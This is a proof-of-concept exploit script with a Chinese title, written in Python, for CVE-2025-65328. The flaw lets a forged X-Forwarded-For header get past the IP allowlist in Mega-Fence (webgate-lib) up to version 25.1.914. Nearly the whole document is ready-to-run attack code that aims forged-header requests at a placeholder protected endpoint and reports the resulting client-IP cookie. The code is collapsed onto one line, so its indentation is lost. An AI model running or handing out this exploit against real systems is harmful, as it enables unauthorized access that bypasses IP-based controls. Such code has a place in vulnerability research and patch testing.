CVE-2025-65328 Mega-Fence XFF头部IP欺骗漏洞

import requests # CVE-2025-65328 PoC - X-Forwarded-For IP Spoofing # Target: Mega-Fence (webgate-lib.*) <= 25.1.914 def exploit_xff_spoofing(target_url, spoofed_ip): """ Exploit for CVE-2025-65328 Mega-Fence trusts X-Forwarded-For header without proxy chain validation Args: target_url: Target application URL spoofed_ip: IP address to spoof """ headers = { 'X-Forwarded-For': spoofed_ip, 'User-Agent': 'Mozilla/5.0 (CVE-2025-65328 PoC)' } try: response = requests.get(target_url, headers=headers, timeout=10) print(f"[*] Request sent with X-Forwarded-For: {spoofed_ip}") print(f"[*] Status Code: {response.status_code}") print(f"[*] WG_CLIENT_IP Cookie: {response.cookies.get('WG_CLIENT_IP', 'Not found')}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def test_ip_allowlist_bypass(target_url, blocked_ip, whitelist_ip): """ Test IP allowlist bypass using XFF spoofing """ # First, try with blocked IP print("\n[1] Testing with blocked IP...") exploit_xff_spoofing(target_url, blocked_ip) # Then, try to bypass with spoofed whitelisted IP print("\n[2] Attempting bypass with spoofed IP...") exploit_xff_spoofing(target_url, whitelist_ip) if __name__ == "__main__": # Configuration target = "https://vulnerable-server.com/protected-endpoint" spoofed_ip = "10.0.0.1" # Example: Whitelisted IP blocked_ip = "192.168.1.100" print("=" * 50) print("CVE-2025-65328 PoC - XFF IP Spoofing") print("=" * 50) exploit_xff_spoofing(target, spoofed_ip)